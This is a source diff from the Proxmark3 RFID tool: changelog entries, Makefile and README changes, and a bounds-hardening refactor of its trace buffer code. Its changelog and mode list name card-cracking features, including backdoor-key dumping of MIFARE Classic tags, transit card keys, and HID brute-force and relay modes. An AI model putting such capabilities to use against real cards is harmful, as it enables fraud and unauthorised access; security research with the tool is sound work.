- Fixed arguments for `SimulateIso14443aTag` and `SimulateIso14443aInit` in `hf_young.c`, `hf_aveful.c`, `hf_msdsal.c`, `hf_cardhopper.c`, `hf_reblay.c`, `hf_tcprst.c` and `hf_craftbyte.c` (@archi)
- Added `mf_backdoor_dump.py` script that dumps FM11RF08S and similar (Mifare Classic 1k) tag data that can be directly read by known backdoor keys. (@Aptimex)
- Added keys for Metro Q transit cards in Huston, TX. (@Anarchothulhu)
- Added keys from MifareClassicTool and Flipper projects. (@onovy)
## [Backdoor.4.18994][2024-09-10]
- Changed flashing messages to be less scary (@iceman1001)
- Fixed docker containers and their documentation (@doegox)
- Fixed `hf ict` - buffer overflow (@doegox)
@ -1672,7 +1878,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
- Added `lf t55xx recoverpw` - adds a new password recovery using bitflips and partial flips if password write went bad. (@alexgrin)
- `hf legic` - added improved legic data mapping. (jason)
- `hf mf mifare` - added possibility to target key A|B (@douniwan5788)
- Added `analyse lcr` - added a new main command group, to help analysing bytes & bits & nibbles. (@iceman1001)
- Added `analyse lrc` - added a new main command group, to help analysing bytes & bits & nibbles. (@iceman1001)
- Added `lf nedap` - added identification of a NEDAP tag. (@iceman1001)
- `lf viking clone` - fixed a bug. (@iceman1001)
- Added bitsliced bruteforce solver in `hf mf hardnested` (@Aczid)

View file

@ -32,6 +32,9 @@ endif
all clean install uninstall check: %: client/% bootrom/% armsrc/% recovery/% mfc_card_only/% mfc_card_reader/% mfd_aes_brute/% fpga_compress/% cryptorf/%
# hitag2crack toolsuite is not yet integrated in "all", it must be called explicitly: "make hitag2crack"
#all clean install uninstall check: %: hitag2crack/%
clean: %: hitag2crack/%
find . -type d -name __pycache__ -exec rm -rfv \{\} +
INSTALLTOOLS=mfc/pm3_eml2lower.sh mfc/pm3_eml2upper.sh mfc/pm3_mfdread.py mfc/pm3_mfd2eml.py mfc/pm3_eml2mfd.py pm3_amii_bin2eml.pl pm3_reblay-emulating.py pm3_reblay-reading.py
INSTALLSIMFW=sim011.bin sim011.sha512.txt sim013.bin sim013.sha512.txt sim014.bin sim014.sha512.txt
@ -114,10 +117,10 @@ cryptorf/check: FORCE
$(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@)
mfc_card_only/check: FORCE
$(info [*] CHECK $(patsubst %/check,%,$@))
$(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@)
$(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) nonce2key staticnested $(patsubst %/check,%,$@)
mfc_card_reader/check: FORCE
$(info [*] CHECK $(patsubst %/check,%,$@))
$(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@)
$(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) mfkey mf_nonce_brute $(patsubst %/check,%,$@)
mfd_aes_brute/check: FORCE
$(info [*] CHECK $(patsubst %/check,%,$@))
$(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@)
@ -204,6 +207,7 @@ help:
@echo "+ fpga_compress - Make tools/fpga_compress"
@echo
@echo "+ style - Apply some automated source code formatting rules"
@echo "+ commands - Regenerate commands documentation files and autocompletion data"
@echo "+ check - Run offline tests. Set CHECKARGS to pass arguments to the test script"
@echo "+ .../check - Run offline tests against specific target. See above."
@echo "+ miscchecks - Detect various encoding issues in source code"
@ -263,8 +267,11 @@ ifeq ($(PLATFORM_CHANGED),true)
$(Q)$(MAKE) --no-print-directory -C bootrom clean
$(Q)$(MAKE) --no-print-directory -C armsrc clean
$(Q)$(MAKE) --no-print-directory -C recovery clean
$(Q)$(MAKE) --no-print-directory -C client clean
$(Q)$(MAKE) --no-print-directory -C tools/fpga_compress clean
# clean the client only if PLATFORM got changed from or to PM3ICOPYX
ifeq (PM3ICOPYX,$(filter PM3ICOPYX, $(PLATFORM) $(CACHED_PLATFORM)))
$(Q)$(MAKE) --no-print-directory -C client clean
endif
$(Q)$(ECHO) CACHED_PLATFORM=$(PLATFORM) > .Makefile.options.cache
$(Q)$(ECHO) CACHED_PLATFORM_EXTRAS=$(PLATFORM_EXTRAS) >> .Makefile.options.cache
$(Q)$(ECHO) CACHED_PLATFORM_DEFS=$(PLATFORM_DEFS) >> .Makefile.options.cache
@ -303,27 +310,28 @@ endif
# easy printing of MAKE VARIABLES
print-%: ; @echo $* = $($*)
style:
style: commands
# Make sure astyle is installed
@command -v astyle >/dev/null || ( echo "Please install 'astyle' package first" ; exit 1 )
# Remove spaces & tabs at EOL, add LF at EOF if needed on *.c, *.h, *.cpp. *.lua, *.py, *.pl, Makefile, *.v, pm3
find . \( -not -path "./cov-int/*" -and -not -path "./fpga*/xst/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \
-exec perl -pi -e 's/[ \t]+$$//' {} \; \
-exec sh -c "tail -c1 {} | xxd -p | tail -1 | grep -q -v 0a$$" \; \
-exec sh -c "echo >> {}" \;
find . \( -not -path "./cov-int/*" -and -not -path "./fpga*/xst/*" -and -not -path "./venv*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \
-exec perl -pi -e 's/[ \t]+$$//' {} \; \
-exec sh -c "tail -c1 {} | xxd -p | tail -1 | grep -q -v 0a$$" \; \
-exec sh -c "echo >> {}" \;
# Apply astyle on *.c, *.h, *.cpp
find . \( -not -path "./cov-int/*" -and \( \( -name "*.[ch]" -and -not -name "ui_overlays.h" \) -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \
--indent=spaces=4 --indent-switches \
--keep-one-line-blocks --max-instatement-indent=60 \
--style=google --pad-oper --unpad-paren --pad-header \
--align-pointer=name {} \;
find . \( -not -path "./cov-int/*" -and -not -path "./venv*" -and \( \( -name "*.[ch]" -and -not -name "ui_overlays.h" \) -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \
--indent=spaces=4 --indent-switches \
--keep-one-line-blocks --max-continuation-indent=60 \
--style=google --pad-oper --unpad-paren --pad-header \
--align-pointer=name {} \;
commands: client
# Update commands.md
[ -x client/proxmark3 ] && client/proxmark3 -m | tr -d '\r' > doc/commands.md
# Make sure python3 is installed
@command -v python3 >/dev/null || ( echo "Please install 'python3' package first" ; exit 1 )
# Update commands.json, patch port in case it was run under Windows
[ -x client/proxmark3 ] && client/proxmark3 --fulltext | sed 's#com[0-9]#/dev/ttyACM0#'|python3 client/pyscripts/pm3_help2json.py - - | tr -d '\r' > doc/commands.json
# Update the readline autocomplete autogenerated code
[ -x client/proxmark3 ] && client/proxmark3 --fulltext | python3 client/pyscripts/pm3_help2list.py - - | tr -d '\r' > client/src/pm3line_vocabulary.h
@ -341,7 +349,7 @@ miscchecks:
# Make sure recode is installed
@command -v recode >/dev/null || ( echo "Please install 'recode' package first" ; exit 1 )
@echo "Files with suspicious chars:"
@find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \
@find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and -not -path "./venv*" -and \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \
-exec sh -c "cat {} |recode utf8.. >/dev/null || echo {}" \;
ifneq (,$(EDIT))
@echo "Files with tabs: (EDIT enabled, files will be rewritten!)"
@ -349,7 +357,7 @@ else
@echo "Files with tabs: (rerun with EDIT=1 if you want to convert them with vim)"
endif
# to remove tabs within lines, one can try with: vi $file -c ':set tabstop=4' -c ':set et|retab' -c ':wq'
@find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and -not -wholename "./client/src/pm3_*wrap.c" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" -or -name "pm3" \) \) \
@find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and -not -path "./venv*" -and -not -wholename "./client/src/pm3_*wrap.c" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" -or -name "pm3" \) \) \
-exec sh -c "$(TABSCMD)" \;
# @echo "Files with printf \\\\t:"
# @find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \
@ -364,10 +372,12 @@ release:
@echo "# - Release Tag: $(VERSION)"
@echo "# - Release Name: $(RELEASE_NAME)"
# - Removing -Werror...
@find . \( -path "./Makefile.defs" -or -path "./client/Makefile" -or -path "./common_arm/Makefile.common" -or -path "./tools/hitag2crack/*/Makefile" \) -exec sed -i 's/ -Werror//' {} \;
@find . \( -path "./client/deps/*.cmake" -or -path "./client/CMakeLists.txt" \) -exec sed -i 's/ -Werror//' {} \;
@find . \( -path "./Makefile.defs" -or -path "./client/Makefile" -or -path "./common_arm/Makefile.common" -or -path "./tools/hitag2crack/*/Makefile" -or -path "./client/deps/*/Makefile" \) -exec sed -i 's/ -Werror//' {} \;
@find . \( -path "./client/deps/*.cmake" -or -path "./client/CMakeLists.txt" -or -path "./client/experimental_lib/CMakeLists.txt" \) -exec sed -i 's/ -Werror//' {} \;
# - Changing banner...
@sed -i "s/^#define BANNERMSG2 .*/#define BANNERMSG2 \" -----------------------------------\"/" client/src/proxmark3.c
@sed -i "s/^#define BANNERMSG3 .*/#define BANNERMSG3 \"Release $(VERSION) - $(RELEASE_NAME)\"/" client/src/proxmark3.c
@echo -n "# ";grep "^#define BANNERMSG2" client/src/proxmark3.c
@echo -n "# ";grep "^#define BANNERMSG3" client/src/proxmark3.c
# - Committing temporarily...
@git commit -a -m "Release $(VERSION) - $(RELEASE_NAME)"

View file

@ -53,7 +53,7 @@ USERMOD = usermod -aG
ADDUSER = adduser
GETENT_BL = getent group bluetooth
PYTHON3_PKGCONFIG ?= python3
PATHSEP=/
PREFIX ?= /usr/local
@ -112,8 +112,8 @@ ifeq ($(DEBUG),1)
DEFCFLAGS = -g -O0 -fstrict-aliasing -pipe
DEFLDFLAGS =
else
DEFCXXFLAGS = -Wall -O3 -pipe
DEFCFLAGS = -Wall -O3 -fstrict-aliasing -pipe
DEFCXXFLAGS = -Wall -Werror -O3 -pipe
DEFCFLAGS = -Wall -Werror -O3 -fstrict-aliasing -pipe
DEFLDFLAGS =
endif

View file

@ -1,19 +1,39 @@
# If you want to use it, copy this file as Makefile.platform and adjust it to your needs
# Run 'make PLATFORM=' to get an exhaustive list of possible parameters for this file.
# By default PM3 RDV4 image is generated.
# Comment the line below and uncomment further down according to which device you have
PLATFORM=PM3RDV4
# For PM3 RDV1, RDV2, Easy or rysccorps etc
# uncomment the line below
#PLATFORM=PM3GENERIC
# For ICOPY-X and PM3 Max:
# uncomment the two lines below
#PLATFORM=PM3ICOPYX
#PLATFORM_EXTRAS=FLASH
# For PM3 Ultimate:
# uncomment the line below
#PLATFORM=PM3ULTIMATE
# If you want more than one PLATFORM_EXTRAS option, separate them by spaces:
#PLATFORM_EXTRAS=BTADDON
#PLATFORM_EXTRAS=FLASH
#PLATFORM_EXTRAS=SMARTCARD
#PLATFORM_EXTRAS=BTADDON FLASH
#STANDALONE=LF_SAMYRUN
#PLATFORM_EXTRAS=BTADDON FPC_USART_DEV FLASH
#STANDALONE=HF_UNISNIFF
# Uncomment the line below to set the correct LED order on board Proxmark3 Easy
# Only available with PLATFORM=PM3GENERIC
#LED_ORDER=PM3EASY
# Uncomment a line below to change default USART baud rate
# defaults to 115200 used by HC-05 in Blueshark
#USART_BAUD_RATE=19200
# Uncomment the lines below in order to make a 256KB image
# and comment out the lines above

View file

@ -60,7 +60,8 @@ The Proxmark3 is the swiss-army tool of RFID, allowing for interactions with the
|[Developing standalone mode](/armsrc/Standalone/readme.md)|[Wiki about standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode)|[Notes on Magic UID cards](/doc/magic_cards_notes.md)|
|[Notes on Color usage](/doc/colors_notes.md)|[Makefile vs CMake](/doc/md/Development/Makefile-vs-CMake.md)|[Notes on Cloner guns](/doc/cloner_notes.md)|
|[Notes on cliparser usage](/doc/cliparser.md)|[Notes on clocks](/doc/clocks.md)|[Notes on MIFARE DESFire](/doc/desfire.md)|
|[Notes on CIPURSE](/doc/cipurse.md)|[Notes on NDEF type4a](/doc/ndef_type4a.md)|[Notes on downgrade attacks](/doc/hid_downgrade.md)|
|[Notes on CIPURSE](/doc/cipurse.md)|[Notes on NDEF type4a](/doc/ndef_type4a.md)|[Unofficial MIFARE DESFire bible](/doc/unofficial_desfire_bible.md)|
[Notes on downgrade attacks](/doc/hid_downgrade.md)|||
# How to build?
@ -96,12 +97,14 @@ We define generic Proxmark3 platforms as following devices.
- **Note**: currently incompatible with iCopy-X GUI as Proxmark client commands using different syntax
- **Note**: see also [icopyx-community repos](https://github.com/iCopy-X-Community/) for upstream sources, reversed hw etc.
- **Note**: Uses DRM to lock down tags, ignores the open source licences. Use on your own risk.
- ⚠ Proxmark3 Ultimate
- **Note**: unknown device hw
- **Note**: FPGA images is building for it. Use on your own risk.
**Unknown support status**
- ⚠ VX
- **Note**: unknown device hw
- ⚠ Proxmark3 Ultimate
- **Note**: unknown device hw
When it comes to these new unknown models we are depending on the community to report in if this repo works and what they did to make it work.
@ -180,10 +183,11 @@ We usually merge your contributions fast since we do like the idea of getting a
The [public roadmap](https://github.com/RfidResearchGroup/proxmark3/wiki/Public-Roadmap) is an excellent start to read if you are interesting in contributing.
## Supported operative systems
## Supported operating systems
This repo compiles nicely on
- WSL1 on Windows 10
- WSL2 on Windows 10/11
- Proxspace environment [release v3.xx](https://github.com/Gator96100/ProxSpace/releases)
- Windows/MinGW environment
- Ubuntu, ParrotOS, Gentoo, Pentoo, Kali, NetHunter, Arch Linux, Fedora, Debian, Raspbian

View file

@ -30,7 +30,7 @@ extern uint32_t _stack_start[], __bss_end__[];
// BigBuf is the large multi-purpose buffer, typically used to hold A/D samples or traces.
// Also used to hold various smaller buffers and the Mifare Emulator Memory.
// We know that bss is aligned to 4 bytes.
static uint8_t *BigBuf = (uint8_t *)__bss_end__;
static uint8_t *const BigBuf = (uint8_t *)__bss_end__;
/* BigBuf memory layout:
Pointer to highest available memory: s_bigbuf_hi
@ -45,7 +45,7 @@ static uint32_t s_bigbuf_size = 0;
static uint32_t s_bigbuf_hi = 0;
// pointer to the emulator memory.
static uint8_t *emulator_memory = NULL;
static uint8_t *s_emulator_memory = NULL;
//=============================================================================
// The ToSend buffer.
@ -53,7 +53,7 @@ static uint8_t *emulator_memory = NULL;
// any purpose (fake tag, as reader, whatever). We go MSB first, since that
// is the order in which they go out on the wire.
//=============================================================================
static tosend_t toSend = {
static tosend_t s_toSend = {
.max = -1,
.bit = 8,
.buf = NULL
@ -62,25 +62,25 @@ static tosend_t toSend = {
// The dmaBuf 16bit buffer.
// A buffer where we receive IQ samples sent from the FPGA, for demodulating
//=============================================================================
static dmabuf16_t dma_16 = {
static dmabuf16_t s_dma_16 = {
.size = DMA_BUFFER_SIZE,
.buf = NULL
};
// dmaBuf 8bit buffer
static dmabuf8_t dma_8 = {
static dmabuf8_t s_dma_8 = {
.size = DMA_BUFFER_SIZE,
.buf = NULL
};
// trace related variables
static uint32_t trace_len = 0;
static bool tracing = true;
static uint32_t s_trace_len = 0;
static bool s_tracing = true;
// compute the available size for BigBuf
void BigBuf_initialize(void) {
s_bigbuf_size = (uint32_t)_stack_start - (uint32_t)__bss_end__;
s_bigbuf_hi = s_bigbuf_size;
trace_len = 0;
s_trace_len = 0;
}
// get the address of BigBuf
@ -95,10 +95,10 @@ uint32_t BigBuf_get_size(void) {
// get the address of the emulator memory. Allocate part of Bigbuf for it, if not yet done
uint8_t *BigBuf_get_EM_addr(void) {
// not yet allocated
if (emulator_memory == NULL) {
emulator_memory = BigBuf_calloc(CARD_MEMORY_SIZE);
if (s_emulator_memory == NULL) {
s_emulator_memory = BigBuf_calloc(CARD_MEMORY_SIZE);
}
return emulator_memory;
return s_emulator_memory;
}
uint32_t BigBuf_get_hi(void) {
@ -121,7 +121,7 @@ void BigBuf_Clear_ext(bool verbose) {
memset(BigBuf, 0, s_bigbuf_size);
clear_trace();
if (verbose) {
Dbprintf("Buffer cleared (%i bytes)", s_bigbuf_size);
if (g_dbglevel >= DBG_ERROR) Dbprintf("Buffer cleared (%i bytes)", s_bigbuf_size);
}
}
@ -138,8 +138,9 @@ void BigBuf_Clear_keep_EM(void) {
uint8_t *BigBuf_malloc(uint16_t chunksize) {
chunksize = (chunksize + BIGBUF_ALIGN_BYTES - 1) & BIGBUF_ALIGN_MASK; // round up to next multiple of 4
if (s_bigbuf_hi < chunksize) {
return NULL; // no memory left
if (s_bigbuf_hi - s_trace_len < chunksize || chunksize == 0) {
// no memory left or chunksize too large
return NULL;
}
s_bigbuf_hi -= chunksize; // aligned to 4 Byte boundary
@ -159,23 +160,23 @@ uint8_t *BigBuf_calloc(uint16_t chunksize) {
// free ALL allocated chunks. The whole BigBuf is available for traces or samples again.
void BigBuf_free(void) {
s_bigbuf_hi = s_bigbuf_size;
emulator_memory = NULL;
s_emulator_memory = NULL;
// shouldn't this empty BigBuf also?
toSend.buf = NULL;
dma_16.buf = NULL;
dma_8.buf = NULL;
s_toSend.buf = NULL;
s_dma_16.buf = NULL;
s_dma_8.buf = NULL;
}
// free allocated chunks EXCEPT the emulator memory
void BigBuf_free_keep_EM(void) {
if (emulator_memory != NULL)
s_bigbuf_hi = emulator_memory - (uint8_t *)BigBuf;
if (s_emulator_memory != NULL)
s_bigbuf_hi = s_emulator_memory - (uint8_t *)BigBuf;
else
s_bigbuf_hi = s_bigbuf_size;
toSend.buf = NULL;
dma_16.buf = NULL;
dma_8.buf = NULL;
s_toSend.buf = NULL;
s_dma_16.buf = NULL;
s_dma_8.buf = NULL;
}
void BigBuf_print_status(void) {
@ -183,23 +184,23 @@ void BigBuf_print_status(void) {
Dbprintf(" BigBuf_size............. %d", s_bigbuf_size);
Dbprintf(" Available memory........ %d", s_bigbuf_hi);
DbpString(_CYAN_("Tracing"));
Dbprintf(" tracing ................ %d", tracing);
Dbprintf(" traceLen ............... %d", trace_len);
Dbprintf(" tracing ................ %d", s_tracing);
Dbprintf(" traceLen ............... %d", s_trace_len);
if (g_dbglevel >= DBG_DEBUG) {
DbpString(_CYAN_("Sending buffers"));
uint16_t d8 = 0;
if (dma_8.buf)
d8 = dma_8.buf - BigBuf_get_addr();
if (s_dma_8.buf)
d8 = s_dma_8.buf - BigBuf_get_addr();
uint16_t d16 = 0;
if (dma_16.buf)
d16 = (uint8_t *)dma_16.buf - BigBuf_get_addr();
if (s_dma_16.buf)
d16 = (uint8_t *)s_dma_16.buf - BigBuf_get_addr();
uint16_t ts = 0;
if (toSend.buf)
ts = toSend.buf - BigBuf_get_addr();
if (s_toSend.buf)
ts = s_toSend.buf - BigBuf_get_addr();
Dbprintf(" dma8 memory............. %u", d8);
Dbprintf(" dma16 memory............ %u", d16);
@ -213,19 +214,19 @@ uint16_t BigBuf_max_traceLen(void) {
}
void clear_trace(void) {
trace_len = 0;
s_trace_len = 0;
}
void set_tracelen(uint32_t value) {
trace_len = value;
s_trace_len = value;
}
void set_tracing(bool enable) {
tracing = enable;
s_tracing = enable;
}
bool get_tracing(void) {
return tracing;
return s_tracing;
}
/**
@ -233,7 +234,7 @@ bool get_tracing(void) {
* @return
*/
uint32_t BigBuf_get_traceLen(void) {
return trace_len;
return s_trace_len;
}
/**
@ -243,18 +244,23 @@ uint32_t BigBuf_get_traceLen(void) {
annotation of commands/responses.
**/
bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t iLen, uint32_t timestamp_start, uint32_t timestamp_end, const uint8_t *parity, bool reader2tag) {
if (tracing == false) {
if (btBytes == NULL || s_tracing == false) {
return false;
}
uint8_t *trace = BigBuf_get_addr();
tracelog_hdr_t *hdr = (tracelog_hdr_t *)(trace + trace_len);
// Ignore too-small or too-large logs
if (iLen == 0 || iLen >= (1 << 15)) {
return false;
}
uint16_t num_paritybytes = (iLen - 1) / 8 + 1; // number of valid paritybytes in *parity
// number of valid paritybytes in *parity
const uint16_t num_paritybytes = (iLen - 1) / 8 + 1;
// Return when trace is full
if (TRACELOG_HDR_LEN + iLen + num_paritybytes >= BigBuf_max_traceLen() - trace_len) {
tracing = false;
// Disable tracing and return when trace is full
const uint32_t max_trace_len = BigBuf_max_traceLen();
const uint32_t trace_entry_len = TRACELOG_HDR_LEN + iLen + num_paritybytes;
if (s_trace_len >= max_trace_len || trace_entry_len >= max_trace_len - s_trace_len) {
s_tracing = false;
return false;
}
@ -274,27 +280,19 @@ bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t iLen, uint32_t timestamp_
duration = 0xFFFF;
}
tracelog_hdr_t *hdr = (tracelog_hdr_t *)(BigBuf_get_addr() + s_trace_len);
hdr->timestamp = timestamp_start;
hdr->duration = duration & 0xFFFF;
hdr->data_len = iLen;
hdr->isResponse = !reader2tag;
trace_len += TRACELOG_HDR_LEN;
// data bytes
if (btBytes != NULL && iLen != 0) {
memcpy(hdr->frame, btBytes, iLen);
trace_len += iLen;
memcpy(hdr->frame, btBytes, iLen);
if (parity != NULL) {
memcpy(&hdr->frame[iLen], parity, num_paritybytes);
} else {
memset(&hdr->frame[iLen], 0x00, num_paritybytes);
}
// parity bytes
if (num_paritybytes != 0) {
if (parity != NULL) {
memcpy(trace + trace_len, parity, num_paritybytes);
} else {
memset(trace + trace_len, 0x00, num_paritybytes);
}
trace_len += num_paritybytes;
}
s_trace_len += trace_entry_len;
return true;
}
@ -323,6 +321,10 @@ bool RAMFUNC LogTraceBits(const uint8_t *btBytes, uint16_t bitLen, uint32_t time
// Emulator memory
int emlSet(const uint8_t *data, uint32_t offset, uint32_t length) {
uint8_t *mem = BigBuf_get_EM_addr();
if (mem == NULL) {
return PM3_EMALLOC;
}
if (offset + length <= CARD_MEMORY_SIZE) {
memcpy(mem + offset, data, length);
return PM3_SUCCESS;
@ -334,6 +336,10 @@ int emlSet(const uint8_t *data, uint32_t offset, uint32_t length) {
int emlGet(uint8_t *out, uint32_t offset, uint32_t length) {
uint8_t *mem = BigBuf_get_EM_addr();
if (mem == NULL) {
return PM3_EMALLOC;
}
if (offset + length <= CARD_MEMORY_SIZE) {
memcpy(out, mem + offset, length);
return PM3_SUCCESS;
@ -347,51 +353,51 @@ int emlGet(uint8_t *out, uint32_t offset, uint32_t length) {
// get the address of the ToSend buffer. Allocate part of Bigbuf for it, if not yet done
tosend_t *get_tosend(void) {
if (toSend.buf == NULL) {
toSend.buf = BigBuf_malloc(TOSEND_BUFFER_SIZE);
if (s_toSend.buf == NULL) {
s_toSend.buf = BigBuf_calloc(TOSEND_BUFFER_SIZE);
}
return &toSend;
return &s_toSend;
}
void tosend_reset(void) {
toSend.max = -1;
toSend.bit = 8;
s_toSend.max = -1;
s_toSend.bit = 8;
}
void tosend_stuffbit(int b) {
if (toSend.max >= TOSEND_BUFFER_SIZE - 1) {
Dbprintf(_RED_("toSend overflow"));
if (s_toSend.max >= TOSEND_BUFFER_SIZE - 1) {
Dbprintf(_RED_("s_toSend overflow"));
return;
}
if (toSend.bit >= 8) {
toSend.max++;
toSend.buf[toSend.max] = 0;
toSend.bit = 0;
if (s_toSend.bit >= 8) {
s_toSend.max++;
s_toSend.buf[s_toSend.max] = 0;
s_toSend.bit = 0;
}
if (b)
toSend.buf[toSend.max] |= (1 << (7 - toSend.bit));
if (b) {
s_toSend.buf[s_toSend.max] |= (1 << (7 - s_toSend.bit));
}
toSend.bit++;
s_toSend.bit++;
if (toSend.max >= TOSEND_BUFFER_SIZE) {
toSend.bit = 0;
if (s_toSend.max >= TOSEND_BUFFER_SIZE) {
s_toSend.bit = 0;
}
}
dmabuf16_t *get_dma16(void) {
if (dma_16.buf == NULL) {
dma_16.buf = (uint16_t *)BigBuf_malloc(DMA_BUFFER_SIZE * sizeof(uint16_t));
if (s_dma_16.buf == NULL) {
s_dma_16.buf = (uint16_t *)BigBuf_calloc(DMA_BUFFER_SIZE * sizeof(uint16_t));
}
return &dma_16;
return &s_dma_16;
}
dmabuf8_t *get_dma8(void) {
if (dma_8.buf == NULL)
dma_8.buf = BigBuf_malloc(DMA_BUFFER_SIZE);
return &dma_8;
if (s_dma_8.buf == NULL) {
s_dma_8.buf = BigBuf_calloc(DMA_BUFFER_SIZE);
}
return &s_dma_8;
}

View file

@ -23,9 +23,13 @@
#define MAX_FRAME_SIZE 256 // maximum allowed ISO14443 frame
#define MAX_PARITY_SIZE ((MAX_FRAME_SIZE + 7) / 8)
#define MAX_MIFARE_FRAME_SIZE 18 // biggest Mifare frame is answer to a read (one block = 16 Bytes) + 2 Bytes CRC
#define MAX_MIFARE_PARITY_SIZE 3 // need 18 parity bits for the 18 Byte above. 3 Bytes are enough to store these
#define MAX_MIFARE_FRAME_SIZE 19 // biggest Mifare frame is UL AES answer to AUTH (1 + 16 Bytes) + 2 Bytes CRC
#define MAX_MIFARE_PARITY_SIZE 3 // need 19 parity bits for the 19 Byte above. 3 Bytes are enough to store these
#define CARD_MEMORY_SIZE 4096
// For now we're storing FM11RF08S nonces in the upper 1k of CARD_MEMORY_SIZE
// but we might have to allocate extra space if one day we've to support sth like a FM11RF32S
#define CARD_MEMORY_RF08S_OFFSET 1024
//#define DMA_BUFFER_SIZE (512 + 256)
#define DMA_BUFFER_SIZE 512

View file

@ -37,7 +37,8 @@ APP_CFLAGS = $(PLATFORM_DEFS) \
SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c lfadc.c
SRC_HF = hfops.c
SRC_ISO15693 = iso15693.c iso15693tools.c
SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c sam_mfc.c sam_seos.c
SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c sam_common.c sam_mfc.c sam_seos.c
#UNUSED: mifaresniff.c
SRC_ISO14443b = iso14443b.c
SRC_FELICA = felica.c
@ -59,7 +60,7 @@ else
endif
ifneq (,$(findstring WITH_SMARTCARD,$(APP_CFLAGS)))
SRC_SMARTCARD = i2c.c
SRC_SMARTCARD = i2c.c i2c_direct.c emvsim.c
else
SRC_SMARTCARD =
endif
@ -71,7 +72,7 @@ else
endif
ifneq (,$(findstring WITH_HITAG,$(APP_CFLAGS)))
SRC_HITAG = hitag2_crypto.c hitag2.c hitagS.c hitag2_crack.c
SRC_HITAG = hitag2_crypto.c hitag_common.c hitag2.c hitagS.c hitagu.c hitag2_crack.c
APP_CFLAGS += -I../common/hitag2
else
SRC_HITAG =
@ -185,7 +186,7 @@ showinfo:
# version_pm3.c should be checked on every time fullimage.stage1.elf should be remade
version_pm3.c: default_version_pm3.c $(OBJDIR)/fpga_version_info.o $(OBJDIR)/fpga_all.o $(THUMBOBJ) $(ARMOBJ) .FORCE
$(info [-] CHECK $@)
$(Q)$(CP) $< $@
$(Q)$(SH) ../tools/mkversion.sh $@ || $(CP) $< $@
fpga_version_info.c: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR)
$(info [-] GEN $@)

View file

@ -119,6 +119,9 @@ define KNOWN_STANDALONE_DEFINITIONS
| HF_REBLAY | 14A Relay over BT |
| (RDV4 only) | - Salvador Mendoza |
+----------------------------------------------------------+
| HF_ST25_TEAROFF | Store/restore ST25TB tags with |
| | tear-off for counters - SecLabz |
+----------------------------------------------------------+
| HF_TCPRST | IKEA Rothult read/sim/dump/emul |
| | - Nick Draffen |
+----------------------------------------------------------+
@ -139,11 +142,11 @@ endef
STANDALONE_MODES := LF_SKELETON
STANDALONE_MODES += LF_EM4100EMUL LF_EM4100RSWB LF_EM4100RSWW LF_EM4100RWC LF_HIDBRUTE LF_HIDFCBRUTE LF_ICEHID LF_MULTIHID LF_NEDAP_SIM LF_NEXID LF_PROXBRUTE LF_PROX2BRUTE LF_SAMYRUN LF_THAREXDE
STANDALONE_MODES += HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG
STANDALONE_MODES += HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG
STANDALONE_MODES += DANKARMULTI
STANDALONE_MODES_REQ_BT := HF_CARDHOPPER HF_REBLAY
STANDALONE_MODES_REQ_SMARTCARD :=
